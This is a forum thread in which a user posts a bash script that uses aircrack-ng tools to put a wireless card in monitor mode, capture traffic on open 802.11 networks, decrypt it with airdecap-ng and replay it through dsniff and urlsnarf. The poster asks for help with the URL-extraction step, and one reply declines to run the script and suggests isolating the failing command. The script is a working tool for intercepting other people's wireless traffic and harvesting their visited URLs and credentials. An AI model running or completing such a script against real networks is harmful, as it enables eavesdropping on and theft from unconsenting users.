Jump to content

Recommended Posts

Hi ! I wrote this script to sniff on OPN 802.11 networks and extract URLs but it seems that the last part with Urlsnarf doesn't work ! Can you please help me to correct it?

#!/bin/bash
# My first script

#enter functions
press_enterandstop()
{
echo -en "\nPress Enter to continue"
read
#airmon-ng stop mon0
}

press_enternoclear()
{
echo -en "\nPress Enter to continue"
read

}

press_enter()
{
echo -en "\nPress Enter to continue"
read
clear
}


#kill NeworkManager
selection=
until [ "$selection" = "1" ]; do
echo "
NeworkManager
1 - Stop NetworkManager
2 - Restart NetworkManager

0 - exit program"


echo -n "Enter selection: "
read selection
echo ""
case $selection in
1 ) service NetworkManager stop ; press_enter ;;
2 ) service NetworkManager restart ; press_enter ;;
0 ) exit ;;
* ) echo "Please enter 1, 2, or 0"; press_enter
esac
done

echo "Seting monitor mode"
iwconfig
press_enternoclear;

function monitormode(){

echo -n "Type the network interface "
read wlan
airmon-ng start $wlan
}

monitormode;

#Checking the mon interface

#Checking monitor mode
function mon(){

ifconfig -s -a | grep -i "mon"> moninterface.txt
mon=`head -n 1 moninterface.txt | cut -c -4`
echo $mon
press_enternoclear;
echo "Checking injection capabilities"

aireplay-ng -9 $mon

#press_enternoclear;
#Capturing
export CAPT_DIR=/home/leila/bin/captures
export CAPT_DEST=$CAPT_DIR/capture
mkdir -p $CAPT_DIR

airodump-ng -w $CAPT_DEST $mon

press_enternoclear;
}
mon;


#Decrypting the files

function decryptap(){

f=`ls -w 1 $CAPT_DIR/capture-??.cap | tail -n 1`
echo -n "Type the AP "
read ap
airdecap-ng -e "$ap" $f
g=`ls -w 1 $CAPT_DIR/capture-??-dec.cap | tail -n 1`
tcpdump -r $g -vvv > suctest.txt
dsniff -i lo > sniff.txt &
urlsnarf -i lo > url.txt &
tcpreplay -i lo -t $g
echo "finish"
}
decryptap;
airmon-ng stop $mon

Link to post
Share on other sites

Dude, I'm not going to run your script for you. Assuming it doesn't obliterate my network it makes a shitload of assumptions about tools that are present on the system. So here's a thought:

Isolate the specific command that doesn't do what you think it should do. Tell us this command, what it does do (or the error/output it produces) and what it should be doing. Go from there.

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...